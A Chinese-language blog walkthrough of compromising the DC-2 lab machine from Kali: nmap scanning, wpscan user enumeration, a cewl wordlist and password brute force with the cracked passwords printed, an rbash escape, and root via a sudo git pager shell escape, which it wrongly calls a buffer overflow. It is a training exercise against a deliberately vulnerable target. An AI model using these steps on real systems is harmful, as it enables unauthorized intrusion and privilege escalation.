[滲透測試][Kali]對DC-2靶機進行滲透測試

對DC-2靶機進行滲透測試


1.搭建滲透平臺
2.準備工作
3.掃描端口
4.使用wpscan進一步掃描
5.破解密碼
6.登陸ssh
7.root權限提升

1.搭建滲透平臺

Kali 2018, DC-2靶機, VMWare虛擬機平臺
平臺搭建工作不再贅述

2.準備工作

使用nmap掃描局域網中的主機

Bash shell命令

nmap -sn 192.168.11.0/24

Bash shell輸出

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 10:37 CST
Nmap scan report for 192.168.11.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.11.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:F3:D4:1F (VMware)
Nmap scan report for dc-2 (192.168.11.129)
Host is up (0.00017s latency).
MAC Address: 00:0C:29:52:22:87 (VMware)
Nmap scan report for 192.168.11.254
Host is up (0.000052s latency).
MAC Address: 00:50:56:EA:98:00 (VMware)
Nmap scan report for 192.168.11.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.07 seconds

這裏掃描出的192.168.11.1是我的物理機地址(虛擬機網絡採用NAT),192.168.11.2是DHCP服務器,192.168.11.128是kali本機地址,192.168.129和192.168.11.254中的一個就是DC-2靶機。

3.掃描端口

分別對這兩個地址進一步掃描,在掃描192.168.11.129時發現瞭如下結果
Bash shell命令

nmap -p- -A -v 192.168.11.129

Bash shell輸出(部分)

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 11:16 CST
Nmap scan report for 192.168.11.129
Host is up (0.00036s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)

該機器的80端口是打開的,並且部署了apache服務器,7744開啓了SSH服務,可以確定這臺機器就是DC-2靶機,嘗試直接用瀏覽器訪問,結果被重定向到了一個域名dc-2/,我們返回去查看掃描結果,看到http頭裏面提示我們沒有用域名http://dc-2/訪問;於是確認該主機必須使用域名訪問,在host文件中添加靜態條目之後可以用瀏覽器打開網頁。發現是一個wordpress網站,考慮使用wpscan。在網站下面有一個flag1,提示我們要用cewl這個軟件。

4.使用wpscan進一步掃描

Bash shell命令

wpscan –-url dc-2		#默認掃描
wpscan --url dc-2 -eu	#掃描用戶名

可以掃描出一些信息,我們發現其默認的後臺登陸頁面(/wp-login.php)可以正常訪問,進一步掃描用戶。
Bash shell輸出(部分)

[+] admin
 | Detected By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jerry
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

發現了3個用戶,這時候就要用上提示我們的cewl,它是一個社會工程學爬蟲,可以從http頁面爬取信息生成密碼字典,然後再用wpscan爆破密碼。

5.破解密碼

Bash shell命令

cewl dc-2/ -w dict.txt		#-w選項表示將爬取生成的字典輸出爲文件
wpscan –-url dc-2/ -P dict.txt #使用字典dict.txt破解所有用戶密碼

Bash shell輸出(部分)
[i] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

可以看到jerry和tom的密碼都被查出,這時候使用瀏覽器登陸這兩個用戶查看有沒有可以利用的信息。在Jerry的賬戶裏發現了下一條提示:flag2。
在這裏插入圖片描述
於是再看看tom的賬戶。沒有什麼有價值的信息。這時候需要換一種思路了,之前在使用nmap工具掃描這個主機的時候,還在7744端口開放了ssh服務。

6.登陸ssh

我們嘗試使用上面兩個賬戶來登陸ssh。首先嚐試tom的賬戶,可以登陸,ls一下可以看到flag3。但是登陸使用的shell是rBash,功能受到嚴重限制以至於cat命令都無法使用,所以需要想辦法繞過限制。我們先嚐試把shell切換爲/bin/sh,成功了。繼續嘗試使用cat來查看flag3中的內容,提示不能找到命令,這時候原因應該是沒有將cat命令的目錄添加到$PATH中,於是添加之。然後使用cat查看flag3.txt中的內容。
rBash和sh shell命令

ssh tom@dc-2 -p 7744		#建立ssh連接
cat flag3.txt
BASH_CMDS[a]=/bin/sh;a	#切換shell
export PATH=$PATH:/bin/	#添加$PATH,cat和su都在/bin下
export PATH=$PATH:/usr/bin	#sudo在/usr/bin下
cat flag3.txt

Bash shell輸出(flag3.txt的內容)

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

看了flag3.txt之後,使用su jerry切換爲jerry登陸。切換到jerry的用戶目錄,flag4出現了,cat一下。

Bash shell輸出(flag4.txt的內容)

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

7.root權限提升

flag4告訴我們只差最後一步了,並且最後一步要用到git。這裏說明一下,git有一個緩衝區溢出漏洞,在使用sudo git -p --help時,不需要輸入root密碼即可以root權限執行這條命令。我們儘量減小緩衝區的行數,使其一次性顯示不完這條命令的回顯結果,這樣這條命令就一直處於運行狀態,加上此時處於root權限,我們直接在這時候打開bash shell,直接提權至root。
在這裏插入圖片描述
Bash shell命令

sudo git -p –help
!/bin/bash

至此,命令提示符變爲root@DC-2:/home/tom#,已經完成root權限獲取。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章